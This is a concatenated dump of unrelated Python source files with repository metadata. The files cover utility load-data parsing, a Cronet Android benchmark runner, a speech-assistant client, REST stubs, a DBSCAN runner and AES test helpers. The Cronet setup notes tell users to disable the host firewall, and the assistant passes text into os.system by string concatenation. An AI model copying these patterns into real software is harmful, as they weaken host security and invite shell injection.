'94WSCC1/WSCC1994', 1995: '95WSCC1', 1996: '96WSCC1/WSCC1996', 1997: '97wscc1', 1998: '98WSCC1/WSCC1', 1999: '99WSCC1/WSCC1', 2000: '00WSCC1/WSCC1', 2001: '01WECC/WECC01/wecc01', 2002: 'WECCONE3/WECC One/WECC2002', 2003: 'WECC/WECC/WECC ONE/wecc03', 2004: 'WECC_2004/WECC/WECC One/ferc', 2006: 'form714-database_2006_2013/form714-database/Part 3 Schedule 2 - Planning Area Hourly Demand.csv' } #### GET UNIQUE UTILITIES AND UTILITIES BY YEAR u_by_year = {} for d in path_d: if d != 2006: full_d = basepath + '/' + path_d[d] l = [i.lower().split('.')[0][:-2] for i in os.listdir(full_d) if i.lower().endswith('dat')] u_by_year.update({d : sorted(l)}) unique_u = np.unique(np.concatenate([np.array(i) for i in u_by_year.values()])) #### GET EIA CODES OF WECC UTILITIES rm_d = {1993: {'rm': '93WSCC1/README2'}, 1994: {'rm': '94WSCC1/README.TXT'}, 1995: {'rm': '95WSCC1/README.TXT'}, 1996: {'rm': '96WSCC1/README.TXT'}, 1997: {'rm': '97wscc1/README.TXT'}, 1998: {'rm': '98WSCC1/WSCC1/part.002'}, 1999: {'rm': '99WSCC1/WSCC1/README.TXT'}, 2000: {'rm': '00WSCC1/WSCC1/README.TXT'}, 2001: {'rm': '01WECC/WECC01/wecc01/README.TXT'}, 2002: {'rm': 'WECCONE3/WECC One/WECC2002/README.TXT'}, 2003: {'rm': 'WECC/WECC/WECC ONE/wecc03/README.TXT'}, 2004: {'rm': 'WECC_2004/WECC/WECC One/ferc/README.TXT'}} for d in rm_d.keys(): fn = basepath + '/' + rm_d[d]['rm'] f = open(fn, 'r') r = f.readlines() f.close() for i in range(len(r)): if 'FILE NAME' in r[i]: rm_d[d].update({'op': i}) if 'FERC' and 'not' in r[i]: rm_d[d].update({'ed': i}) unique_u_ids = {} for u in unique_u: regex = re.compile('^ *%s\d\d.dat' % u, re.IGNORECASE) for d in rm_d.keys(): fn = basepath + '/' + rm_d[d]['rm'] f = open(fn, 'r') r = f.readlines() #[rm_d[d]['op']:rm_d[d]['ed']] f.close() for line in r: result = re.search(regex, line) if result: # print line code = line.split()[1] nm = line.split(code)[1].strip() unique_u_ids.update({u : {'code':code, 'name':nm}}) break else: continue if u in unique_u_ids: break else: continue #id_2006 = pd.read_csv('/home/akagi/Documents/EIA_form_data/wecc_form_714/form714-database_2006_2013/form714-database/Respondent IDs.csv') id_2006 = pd.read_csv('%s/form714-database_2006_2013/form714-database/Respondent IDs.csv' % (basepath)) id_2006 = id_2006.drop_duplicates('eia_code').set_index('eia_code').sort_index() ui = pd.DataFrame.from_dict(unique_u_ids, orient='index') ui = ui.loc[ui['code'] != '*'].drop_duplicates('code') ui['code'] = ui['code'].astype(int) ui = ui.set_index('code') eia_to_r = pd.concat([ui, id_2006], axis=1).dropna() # util = { # 'aps' : 803, # 'srp' : 16572, # 'ldwp' : 11208 # } # util_2006 = { # 'aps' : 116, # 'srp' : 244, # 'ldwp' : 194 # } #resp_ids = '/home/akagi/Documents/EIA_form_data/wecc_form_714/form714-database_2006_2013/form714-database/Respondent IDs.csv' resp_ids = '%s/form714-database_2006_2013/form714-database/Respondent IDs.csv' % (basepath) df_path_d = {} def build_paths(): for y in path_d.keys(): if y < 2006: pathstr = basepath + '/' + path_d[y] dirstr = ' '.join(os.listdir(pathstr)) # print dirstr for u in u_by_year[y]: if not u in df_path_d: df_path_d.update({u : {}}) srcstr = '%s\d\d.dat' % (u) # print srcstr match = re.search(srcstr, dirstr, re.I) # print type(match.group()) rpath = pathstr + '/' + match.group() df_path_d[u].update({y : rpath}) elif y == 2006: pathstr = basepath + '/' + path_d[y] for u in unique_u: if not u in df_path_d: df_path_d.update({u : {}}) df_path_d[u].update({y : pathstr}) df_d = {} def build_df(u): print u df = pd.DataFrame() for y in sorted(df_path_d[u].keys()): print y if y < 2006: f = open(df_path_d[u][y], 'r') r = f.readlines() f.close() #### DISCARD BINARY-ENCODED FILES try: enc = r[0].decode() except: enc = None pass if enc: r = [g.replace('\t', ' ') for g in r if len(g) > 70] if not str.isdigit(r[0][0]): for line in range(len(r)): try: chk = int(''.join(r[line].rstrip().split())) if chk: # print line, r[line] r = r[line:] break except: continue for i in range(0, len(r)-1, 2): # print i entry = [r[i], r[i+1]] mo = int(r[i][:2]) day = int(r[i][2:4]) yr = y # yr = r[i][4:6] # if yr[0] == '0': # yr = int('20' + yr) # else: # yr = int('19' + yr) if (len(entry[0].rstrip()) + len(entry[1].rstrip())) == 160: try: am = [int(j) if j.strip() != '' else None for j in re.findall('.{5}', entry[0][20:].rstrip())] pm = [int(j) if j.strip() != '' else None for j in re.findall('.{5}', entry[1][20:].rstrip())] assert(len(am)==12) assert(len(pm)==12) except: am = [int(j) for j in entry[0][20:].rstrip().split()] pm = [int(j) for j in entry[1][20:].rstrip().split()] assert(len(am)==12) assert(len(pm)==12) else: try: am = [int(j) for j in entry[0][20:].rstrip().split()] pm = [int(j) for j in entry[1][20:].rstrip().split()] assert(len(am)==12) assert(len(pm)==12) except: try: am = [int(j) if j.strip() != '' else None for j in re.findall('.{5}', entry[0][20:].rstrip())] pm = [int(j) if j.strip() != '' else None for j in re.findall('.{5}', entry[1][20:].rstrip())] if len(am) < 12: am_arr = np.array(am) am = np.pad(am_arr, (0, (12 - np.array(am).shape[0])), mode='symmetric').tolist() if len(pm) < 12: pm_arr = np.array(pm) pm = np.pad(pm_arr, (0, (12 - np.array(pm).shape[0])), mode='symmetric').tolist() if len(am) > 12: am = am[:12] if len(pm) > 12: pm = pm[:12] except: print 'Cannot read line' am = np.repeat(np.nan, 12).tolist() pm = np.repeat(np.nan, 12).tolist() ampm = am + pm entry_df = pd.DataFrame() try: dt_ix = pd.date_range(start=datetime.datetime(yr, mo, day, 0), end=datetime.datetime(yr, mo, day, 23), freq='H') entry_df['load'] = ampm # print entry_df entry_df.index = dt_ix df = df.append(entry_df) except: entry_df['load'] = ampm yest = df.index.to_pydatetime()[-1] dt_ix = pd.date_range(start=(yest + datetime.timedelta(hours=1)), end=(yest + datetime.timedelta(hours=24)), freq='H') entry_df.index = dt_ix df = df.append(entry_df) elif y == 2006: f = pd.read_csv('%s/%s' % (basepath, path_d[y])) if u in unique_u_ids.keys(): if str.isdigit(unique_u_ids[u]['code']): eiacode = int(unique_u_ids[u]['code']) if eiacode in eia_to_r.index.values: if eia_to_r.loc[eiacode, 'respondent_id'] in f['respondent_id'].unique(): f = f.loc[f['respondent_id'] == eia_to_r.loc[eiacode, 'respondent_id'], [u'plan_date', u'hour01', u'hour02', u'hour03', u'hour04', u'hour05', u'hour06', u'hour07', u'hour08', u'hour09', u'hour10', u'hour11', u'hour12', u'hour13', u'hour14', u'hour15', u'hour16', u'hour17', u'hour18', u'hour19', u'hour20', u'hour21', u'hour22', u'hour23', u'hour24']] f['plan_date'] = f['plan_date'].str.split().apply(lambda x: x[0]).apply(lambda x: datetime.datetime.strptime(x, '%m/%d/%Y')) f = f.set_index('plan_date').stack().reset_index().rename(columns={'level_1':'hour', 0:'load'}) f['hour'] = f['hour'].str.replace('hour','').astype(int)-1 f['date'] = f.apply(lambda x: datetime.datetime(x['plan_date'].year, x['plan_date'].month, x['plan_date'].day, x['hour']), axis=1) f = pd.DataFrame(f.set_index('date')['load']) df = pd.concat([df, f], axis=0) return df build_paths() #### Southern California Edison part of CAISO in 2006-2013: resp id 125 if not os.path.exists('./wecc'): os.mkdir('wecc') for x in unique_u: out_df = build_df(x) if x in unique_u_ids.keys(): if str.isdigit(unique_u_ids[x]['code']): out_df.to_csv('./wecc/%s.csv' % unique_u_ids[x]['code']) else: out_df.to_csv('./wecc/%s.csv' % x) else: out_df.to_csv('./wecc/%s.csv' % x) ################################# from itertools import chain li = [] for fn in os.listdir('.'): li.append(os.listdir('./%s' % (fn))) s = pd.Series(list(chain(*li))) s = s.str.replace('\.csv', '') u = s[s.str.contains('\d+')].str.replace('[^\d]', '').astype(int).unique() homedir = os.path.expanduser('~') rid = pd.read_csv('%s/github/RIPS_kircheis/data/eia_form_714/active/form714-database/form714-database/Respondent IDs.csv' % homedir) ridu = rid[rid['eia_code'] != 0] ridu[~ridu['eia_code'].isin(u)]

6,648

0

58

1b8521730032e7c2ffb0cc02b2601ecc37bd48c9

287

py

Python

Chapter06/ex6_4.py

MJC-code/thinkpython

c92702b64a174e85294b17d8bed870977007842b

[ "Unlicense" ]

null

Chapter06/ex6_4.py

MJC-code/thinkpython

c92702b64a174e85294b17d8bed870977007842b

[ "Unlicense" ]

null

Chapter06/ex6_4.py

MJC-code/thinkpython

c92702b64a174e85294b17d8bed870977007842b

[ "Unlicense" ]

null

print (is_power(16, 2)) print (is_power(17, 2)) print (is_power(1, 1)) print (is_power(0, 0)) print (is_power(-8 , -2)) print (is_power(-27, -3))

17.9375

31

0.554007

def is_power(a, b): if a == b: return True elif a % b != 0: return False else: return is_power(a/b, b) print (is_power(16, 2)) print (is_power(17, 2)) print (is_power(1, 1)) print (is_power(0, 0)) print (is_power(-8 , -2)) print (is_power(-27, -3))

117

0

22

d973fd1fe77b39f7ee1f99bab397580e0c606b2c

8,433

py

Python

components/cronet/android/test/javaperftests/run.py

zealoussnow/chromium

fd8a8914ca0183f0add65ae55f04e287543c7d4a

[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

76

2020-09-02T03:05:41.000Z

2022-03-30T04:40:55.000Z

components/cronet/android/test/javaperftests/run.py

zealoussnow/chromium

fd8a8914ca0183f0add65ae55f04e287543c7d4a

[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

45

2020-09-02T03:21:37.000Z

2022-03-31T22:19:45.000Z

components/cronet/android/test/javaperftests/run.py

zealoussnow/chromium

fd8a8914ca0183f0add65ae55f04e287543c7d4a

[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

8

2020-07-22T18:49:18.000Z

2022-02-08T10:27:16.000Z

#!/usr/bin/env python # Copyright 2015 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """This script runs an automated Cronet performance benchmark. This script: 1. Sets up "USB reverse tethering" which allow network traffic to flow from an Android device connected to the host machine via a USB cable. 2. Starts HTTP and QUIC servers on the host machine. 3. Installs an Android app on the attached Android device and runs it. 4. Collects the results from the app. Prerequisites: 1. A rooted (i.e. "adb root" succeeds) Android device connected via a USB cable to the host machine (i.e. the computer running this script). 2. quic_server has been built for the host machine, e.g. via: gn gen out/Release --args="is_debug=false" ninja -C out/Release quic_server 3. cronet_perf_test_apk has been built for the Android device, e.g. via: ./components/cronet/tools/cr_cronet.py gn -r ninja -C out/Release cronet_perf_test_apk 4. If "sudo ufw status" doesn't say "Status: inactive", run "sudo ufw disable". 5. sudo apt-get install lighttpd 6. If the usb0 interface on the host keeps losing it's IPv4 address (WaitFor(HasHostAddress) will keep failing), NetworkManager may need to be told to leave usb0 alone with these commands: sudo bash -c "printf \"\\n[keyfile]\ \\nunmanaged-devices=interface-name:usb0\\n\" \ >> /etc/NetworkManager/NetworkManager.conf" sudo service network-manager restart Invocation: ./run.py Output: Benchmark timings are output by telemetry to stdout and written to ./results.html """ import json import optparse import os import shutil import sys import tempfile import time import urllib REPOSITORY_ROOT = os.path.abspath(os.path.join( os.path.dirname(__file__), '..', '..', '..', '..', '..')) sys.path.append(os.path.join(REPOSITORY_ROOT, 'tools', 'perf')) sys.path.append(os.path.join(REPOSITORY_ROOT, 'build', 'android')) sys.path.append(os.path.join(REPOSITORY_ROOT, 'components')) # pylint: disable=wrong-import-position from chrome_telemetry_build import chromium_config from devil.android import device_utils from devil.android.sdk import intent from core import benchmark_runner from cronet.tools import android_rndis_forwarder from cronet.tools import perf_test_utils import lighttpd_server from pylib import constants from telemetry import android from telemetry import benchmark from telemetry import story from telemetry.web_perf import timeline_based_measurement # pylint: enable=wrong-import-position # Android AppStory implementation wrapping CronetPerfTest app. # Launches Cronet perf test app and waits for execution to complete # by waiting for presence of DONE_FILE. # For now AndroidStory's SharedAppState works only with # TimelineBasedMeasurements, so implement one that just forwards results from # Cronet perf test app. if __name__ == '__main__': main()

37.986486

80

0.748725

#!/usr/bin/env python # Copyright 2015 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """This script runs an automated Cronet performance benchmark. This script: 1. Sets up "USB reverse tethering" which allow network traffic to flow from an Android device connected to the host machine via a USB cable. 2. Starts HTTP and QUIC servers on the host machine. 3. Installs an Android app on the attached Android device and runs it. 4. Collects the results from the app. Prerequisites: 1. A rooted (i.e. "adb root" succeeds) Android device connected via a USB cable to the host machine (i.e. the computer running this script). 2. quic_server has been built for the host machine, e.g. via: gn gen out/Release --args="is_debug=false" ninja -C out/Release quic_server 3. cronet_perf_test_apk has been built for the Android device, e.g. via: ./components/cronet/tools/cr_cronet.py gn -r ninja -C out/Release cronet_perf_test_apk 4. If "sudo ufw status" doesn't say "Status: inactive", run "sudo ufw disable". 5. sudo apt-get install lighttpd 6. If the usb0 interface on the host keeps losing it's IPv4 address (WaitFor(HasHostAddress) will keep failing), NetworkManager may need to be told to leave usb0 alone with these commands: sudo bash -c "printf \"\\n[keyfile]\ \\nunmanaged-devices=interface-name:usb0\\n\" \ >> /etc/NetworkManager/NetworkManager.conf" sudo service network-manager restart Invocation: ./run.py Output: Benchmark timings are output by telemetry to stdout and written to ./results.html """ import json import optparse import os import shutil import sys import tempfile import time import urllib REPOSITORY_ROOT = os.path.abspath(os.path.join( os.path.dirname(__file__), '..', '..', '..', '..', '..')) sys.path.append(os.path.join(REPOSITORY_ROOT, 'tools', 'perf')) sys.path.append(os.path.join(REPOSITORY_ROOT, 'build', 'android')) sys.path.append(os.path.join(REPOSITORY_ROOT, 'components')) # pylint: disable=wrong-import-position from chrome_telemetry_build import chromium_config from devil.android import device_utils from devil.android.sdk import intent from core import benchmark_runner from cronet.tools import android_rndis_forwarder from cronet.tools import perf_test_utils import lighttpd_server from pylib import constants from telemetry import android from telemetry import benchmark from telemetry import story from telemetry.web_perf import timeline_based_measurement # pylint: enable=wrong-import-position def GetDevice(): devices = device_utils.DeviceUtils.HealthyDevices() assert len(devices) == 1 return devices[0] class CronetPerfTestAndroidStory(android.AndroidStory): # Android AppStory implementation wrapping CronetPerfTest app. # Launches Cronet perf test app and waits for execution to complete # by waiting for presence of DONE_FILE. def __init__(self, device): self._device = device config = perf_test_utils.GetConfig(device) device.RemovePath(config['DONE_FILE'], force=True) self.url ='http://dummy/?'+urllib.urlencode(config) start_intent = intent.Intent( package=perf_test_utils.APP_PACKAGE, activity=perf_test_utils.APP_ACTIVITY, action=perf_test_utils.APP_ACTION, # |config| maps from configuration value names to the configured values. # |config| is encoded as URL parameter names and values and passed to # the Cronet perf test app via the Intent data field. data=self.url, extras=None, category=None) super(CronetPerfTestAndroidStory, self).__init__( start_intent, name='CronetPerfTest', # No reason to wait for app; Run() will wait for results. By default # StartActivity will timeout waiting for CronetPerfTest, so override # |is_app_ready_predicate| to not wait. is_app_ready_predicate=lambda app: True) def Run(self, shared_user_story_state): while not self._device.FileExists( perf_test_utils.GetConfig(self._device)['DONE_FILE']): time.sleep(1.0) class CronetPerfTestStorySet(story.StorySet): def __init__(self, device): super(CronetPerfTestStorySet, self).__init__() # Create and add Cronet perf test AndroidStory. self.AddStory(CronetPerfTestAndroidStory(device)) class CronetPerfTestMeasurement( timeline_based_measurement.TimelineBasedMeasurement): # For now AndroidStory's SharedAppState works only with # TimelineBasedMeasurements, so implement one that just forwards results from # Cronet perf test app. def __init__(self, device, options): super(CronetPerfTestMeasurement, self).__init__(options) self._device = device def WillRunStory(self, platform, story=None): # Skip parent implementation which doesn't apply to Cronet perf test app as # it is not a browser with a timeline interface. pass def Measure(self, platform, results): # Reads results from |RESULTS_FILE| on target and adds to |results|. jsonResults = json.loads(self._device.ReadFile( perf_test_utils.GetConfig(self._device)['RESULTS_FILE'])) for test in jsonResults: results.AddMeasurement(test, 'ms', jsonResults[test]) def DidRunStory(self, platform, results): # Skip parent implementation which calls into tracing_controller which this # doesn't have. pass class CronetPerfTestBenchmark(benchmark.Benchmark): # Benchmark implementation spawning off Cronet perf test measurement and # StorySet. SUPPORTED_PLATFORMS = [story.expectations.ALL_ANDROID] def __init__(self, max_failures=None): super(CronetPerfTestBenchmark, self).__init__(max_failures) self._device = GetDevice() def CreatePageTest(self, options): return CronetPerfTestMeasurement(self._device, options) def CreateStorySet(self, options): return CronetPerfTestStorySet(self._device) def main(): parser = optparse.OptionParser() parser.add_option('--output-format', default='html', help='The output format of the results file.') parser.add_option('--output-dir', default=None, help='The directory for the output file. Default value is ' 'the base directory of this script.') options, _ = parser.parse_args() constants.SetBuildType(perf_test_utils.BUILD_TYPE) # Install APK device = GetDevice() device.EnableRoot() device.Install(perf_test_utils.APP_APK) # Start USB reverse tethering. android_rndis_forwarder.AndroidRndisForwarder(device, perf_test_utils.GetAndroidRndisConfig(device)) # Start HTTP server. http_server_doc_root = perf_test_utils.GenerateHttpTestResources() config_file = tempfile.NamedTemporaryFile() http_server = lighttpd_server.LighttpdServer(http_server_doc_root, port=perf_test_utils.HTTP_PORT, base_config_path=config_file.name) perf_test_utils.GenerateLighttpdConfig(config_file, http_server_doc_root, http_server) assert http_server.StartupHttpServer() config_file.close() # Start QUIC server. quic_server_doc_root = perf_test_utils.GenerateQuicTestResources(device) quic_server = perf_test_utils.QuicServer(quic_server_doc_root) quic_server.StartupQuicServer(device) # Launch Telemetry's benchmark_runner on CronetPerfTestBenchmark. # By specifying this file's directory as the benchmark directory, it will # allow benchmark_runner to in turn open this file up and find the # CronetPerfTestBenchmark class to run the benchmark. top_level_dir = os.path.dirname(os.path.realpath(__file__)) expectations_files = [os.path.join(top_level_dir, 'expectations.config')] runner_config = chromium_config.ChromiumConfig( top_level_dir=top_level_dir, benchmark_dirs=[top_level_dir], expectations_files=expectations_files) sys.argv.insert(1, 'run') sys.argv.insert(2, 'run.CronetPerfTestBenchmark') sys.argv.insert(3, '--browser=android-system-chrome') sys.argv.insert(4, '--output-format=' + options.output_format) if options.output_dir: sys.argv.insert(5, '--output-dir=' + options.output_dir) benchmark_runner.main(runner_config) # Shutdown. quic_server.ShutdownQuicServer() shutil.rmtree(quic_server_doc_root) http_server.ShutdownHttpServer() shutil.rmtree(http_server_doc_root) if __name__ == '__main__': main()

4,751

378

313

2ead7fcbf16c57d47c0cdfebf8d054f705e2f8be

1,923

py

Python

client_barvis/main.py

antonstagge/BarvisRepo

3cc780c09839855a6b1704d0975cf6d4af1beb1a

[ "MIT" ]

null

client_barvis/main.py

antonstagge/BarvisRepo

3cc780c09839855a6b1704d0975cf6d4af1beb1a

[ "MIT" ]

null

client_barvis/main.py

antonstagge/BarvisRepo

3cc780c09839855a6b1704d0975cf6d4af1beb1a

[ "MIT" ]

null

# -*- coding: utf-8 -*- import requests import os from threading import Thread import website import ai_request import speech_recognition import json recognizer = speech_recognition.Recognizer() with speech_recognition.Microphone() as source1: recognizer.adjust_for_ambient_noise(source1) websiteThread = Thread(target=startWebsite) websiteThread.start() waitForBarvis() #websiteThread.join()

26.708333

75

0.627665

# -*- coding: utf-8 -*- import requests import os from threading import Thread import website import ai_request import speech_recognition import json recognizer = speech_recognition.Recognizer() with speech_recognition.Microphone() as source1: recognizer.adjust_for_ambient_noise(source1) def startWebsite(): website.run() def speak(text): newText = str(text) os.system("say " + newText) def listen(timeout): with speech_recognition.Microphone() as source: recognizer.adjust_for_ambient_noise(source, 0.5) print "listening" try: audio = recognizer.listen(source, timeout=timeout) except speech_recognition.WaitTimeoutError as e: audio = None print "done listening" if audio is not None: try: # return recognizer.recognize_sphinx(audio) return recognizer.recognize_google(audio, language="sv-SE") except speech_recognition.UnknownValueError: print("Could not understand audio") except speech_recognition.RequestError as e: print("Recog Error; {0}".format(e)) return "" def waitForBarvis(): while True: prompt = listen(1) print prompt if "Barbies" in prompt or "Paris" in prompt or "Buddies" in prompt: speak("Vad kan jag hjälpa dig med?") command = listen(5) if command == "": continue print command response = ai_request.aiQurey(command) print response jsonRespone = json.loads(response) action = jsonRespone["result"]["action"] print action if action == "fromTo": speak("From To action") else: speak("Jag kan inte hjälpa dig med det.") websiteThread = Thread(target=startWebsite) websiteThread.start() waitForBarvis() #websiteThread.join()

1,426

0

92

5f5344be6f31c8367be35c2e6cd57644f235871b

626

py

Python

cloudframe/resource/v1/res01.py

cloudken/faasframe-py

50c8cffac3fb20a096c1906b4828b5ec9aee3ba9

[ "Apache-2.0" ]

null

cloudframe/resource/v1/res01.py

cloudken/faasframe-py

50c8cffac3fb20a096c1906b4828b5ec9aee3ba9

[ "Apache-2.0" ]

null

cloudframe/resource/v1/res01.py

cloudken/faasframe-py

50c8cffac3fb20a096c1906b4828b5ec9aee3ba9

[ "Apache-2.0" ]

null

from six.moves import http_client from cloudframe.common import job import logging import time LOG = logging.getLogger(__name__)

17.885714

44

0.670927

from six.moves import http_client from cloudframe.common import job import logging import time LOG = logging.getLogger(__name__) def post(tenant, req): ack = {'status': 'OK'} job.rpc_cast(_create_server, server=req) return http_client.OK, ack def put(tenant, res_id, req): ack = {'status': 'OK'} return http_client.OK, ack def get(tenant, res_id=None): ack = {'status': 'OK'} return http_client.OK, ack def delete(tenant, res_id): ack = {'status': 'OK'} return http_client.OK, ack def _create_server(server): time.sleep(5) LOG.debug('create server success!') return

375

0

115

18cc7423efdb3b5478240fcfb75681630b42f92b

1,237

py

Python

mlperf/clustering/dbscan/run_base.py

xinyin1990/ml-perf

a5367b41dffe188b3e86fa3e2fcf975bfcd1afb2

[ "MIT" ]

null

mlperf/clustering/dbscan/run_base.py

xinyin1990/ml-perf

a5367b41dffe188b3e86fa3e2fcf975bfcd1afb2

[ "MIT" ]

null

mlperf/clustering/dbscan/run_base.py

xinyin1990/ml-perf

a5367b41dffe188b3e86fa3e2fcf975bfcd1afb2

[ "MIT" ]

null

import csv import os import re import subprocess from mlperf.clustering.tools import dumpDataOnCleanCsv from mlperf.tools.config import MATLAB_EXE, TEMPFOLDER, JAVA_EXE, R_BIN from mlperf.tools.static import datasetOutFile, MATLAB_ALGO, matlabRedirectTempFolder, WEKA_ALGO, JAVA_CLASSPATH, \ SKLEARN_ALGO, R_ALGO, SHOGUN_ALGO

33.432432

115

0.719483

import csv import os import re import subprocess from mlperf.clustering.tools import dumpDataOnCleanCsv from mlperf.tools.config import MATLAB_EXE, TEMPFOLDER, JAVA_EXE, R_BIN from mlperf.tools.static import datasetOutFile, MATLAB_ALGO, matlabRedirectTempFolder, WEKA_ALGO, JAVA_CLASSPATH, \ SKLEARN_ALGO, R_ALGO, SHOGUN_ALGO def sklearnProcess(clustersNumber, dataLessTarget, datasetName, runinfo = None): import sklearn.cluster selectedAlgo = SKLEARN_ALGO outputFile = datasetOutFile(datasetName, selectedAlgo, runinfo=runinfo) if os.path.exists(outputFile): print("sklearn skipped") return #print(clustersNumber, dataLessTarget, datasetName, runinfo) i = re.fullmatch("[^0-9]*?([0-9]+)", runinfo) i = int(i.group(1)) eps_value = 0.33 * i sample_value = i%10 if sample_value == 0: sample_value = 10 builtModel = sklearn.cluster.DBSCAN(eps = eps_value, min_samples = sample_value) builtModel.fit(dataLessTarget) with open(outputFile, 'w') as csvfile: filewriter = csv.writer(csvfile, quoting=csv.QUOTE_MINIMAL) for index, row in dataLessTarget.iterrows(): filewriter.writerow([index, builtModel.labels_[index]])

883

0

23

19bcc48ee9fb238f298a5fac6d357b057a29c779

4,499

py

Python

test/unit/test_02_utils.py

au9ustine/cuda_aes

873e6768f34de1ea07fc71fc33475c9cd09843ea

[ "BSD-3-Clause" ]

2

2015-06-13T01:44:31.000Z

2016-05-16T03:09:21.000Z

test/unit/test_02_utils.py

au9ustine/cuda_aes

873e6768f34de1ea07fc71fc33475c9cd09843ea

[ "BSD-3-Clause" ]

7

2015-06-13T02:55:34.000Z

2015-07-16T16:29:21.000Z

test/unit/test_02_utils.py

au9ustine/cuda_aes

873e6768f34de1ea07fc71fc33475c9cd09843ea

[ "BSD-3-Clause" ]

null

import array import hashlib import json import os.path import ctypes from ctypes import * import utils logger = utils.get_logger('test_02_utils') my_lib = load_shared_library()

95.723404

2,813

0.766615

import array import hashlib import json import os.path import ctypes from ctypes import * import utils logger = utils.get_logger('test_02_utils') def load_shared_library(): my_lib_path = os.path.join( os.path.dirname(os.path.abspath(__file__)), '..', '..', 'src', 'cuda_aes_for_py.so') assert os.path.exists(my_lib_path) is True my_lib = CDLL(my_lib_path) return my_lib my_lib = load_shared_library() def test_my_str2bytearray(): dst_len = c_uint32(0x10) dst = create_string_buffer(0x10) src = '000102030405060708090a0b0c0d0e0f' src_len = c_uint32(len(src)) my_lib.str2bytearray(dst, dst_len, src, src_len) assert dst.raw == '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' def test_my_str2uintarray(): dst_len = c_uint32(0x10) dst = create_string_buffer(0x10 * 4) src = '000102030405060708090a0b0c0d0e0f' src_len = c_uint32(len(src)) my_lib.str2uintarray(dst, dst_len, src, src_len) assert dst.raw == '\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x09\x00\x00\x00\x0a\x00\x00\x00\x0b\x00\x00\x00\x0c\x00\x00\x00\x0d\x00\x00\x00\x0e\x00\x00\x00\x0f\x00\x00\x00' def test_parse_test_data(): test_data = utils.read_rsp_file('CBC', 'GFSbox', 128) expected = {'DECRYPT': [{'COUNT': 0, 'PLAINTEXT': 'f34481ec3cc627bacd5dc3fb08f273e6', 'CIPHERTEXT': '0336763e966d92595a567cc9ce537f5e', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 1, 'PLAINTEXT': '9798c4640bad75c7c3227db910174e72', 'CIPHERTEXT': 'a9a1631bf4996954ebc093957b234589', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 2, 'PLAINTEXT': '96ab5c2ff612d9dfaae8c31f30c42168', 'CIPHERTEXT': 'ff4f8391a6a40ca5b25d23bedd44a597', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 3, 'PLAINTEXT': '6a118a874519e64e9963798a503f1d35', 'CIPHERTEXT': 'dc43be40be0e53712f7e2bf5ca707209', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 4, 'PLAINTEXT': 'cb9fceec81286ca3e989bd979b0cb284', 'CIPHERTEXT': '92beedab1895a94faa69b632e5cc47ce', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 5, 'PLAINTEXT': 'b26aeb1874e47ca8358ff22378f09144', 'CIPHERTEXT': '459264f4798f6a78bacb89c15ed3d601', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 6, 'PLAINTEXT': '58c8e00b2631686d54eab84b91f0aca1', 'CIPHERTEXT': '08a4e2efec8a8e3312ca7460b9040bbf', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}], 'ENCRYPT': [{'COUNT': 0, 'PLAINTEXT': 'f34481ec3cc627bacd5dc3fb08f273e6', 'CIPHERTEXT': '0336763e966d92595a567cc9ce537f5e', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 1, 'PLAINTEXT': '9798c4640bad75c7c3227db910174e72', 'CIPHERTEXT': 'a9a1631bf4996954ebc093957b234589', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 2, 'PLAINTEXT': '96ab5c2ff612d9dfaae8c31f30c42168', 'CIPHERTEXT': 'ff4f8391a6a40ca5b25d23bedd44a597', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 3, 'PLAINTEXT': '6a118a874519e64e9963798a503f1d35', 'CIPHERTEXT': 'dc43be40be0e53712f7e2bf5ca707209', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 4, 'PLAINTEXT': 'cb9fceec81286ca3e989bd979b0cb284', 'CIPHERTEXT': '92beedab1895a94faa69b632e5cc47ce', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 5, 'PLAINTEXT': 'b26aeb1874e47ca8358ff22378f09144', 'CIPHERTEXT': '459264f4798f6a78bacb89c15ed3d601', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}, {'COUNT': 6, 'PLAINTEXT': '58c8e00b2631686d54eab84b91f0aca1', 'CIPHERTEXT': '08a4e2efec8a8e3312ca7460b9040bbf', 'KEY': '00000000000000000000000000000000', 'IV': '00000000000000000000000000000000'}]} expected_str_val = json.dumps(expected, sort_keys=True) expected_hash_val = hashlib.sha1(expected_str_val).hexdigest() actual_str_val = json.dumps(utils.parse_rsp_str(test_data), sort_keys=True) actual_hash_val = hashlib.sha1(actual_str_val).hexdigest() assert expected_hash_val == actual_hash_val

4,228

0

92

abe44a7ba7d6b23e2e69483c0c5df6ed944c52b3

14,694

py

Python

plugin/instVHDL.py

B00Ze/instVhdl

e359035dc6a17f82ae109571a8bf07760911b4ef

[ "BSD-3-Clause" ]

1

2021-03-21T16:14:49.000Z

plugin/instVHDL.py

B00Ze/instVhdl

e359035dc6a17f82ae109571a8bf07760911b4ef

[ "BSD-3-Clause" ]

3

2017-06-13T10:26:47.000Z

2017-09-12T15:41:41.000Z

plugin/instVHDL.py

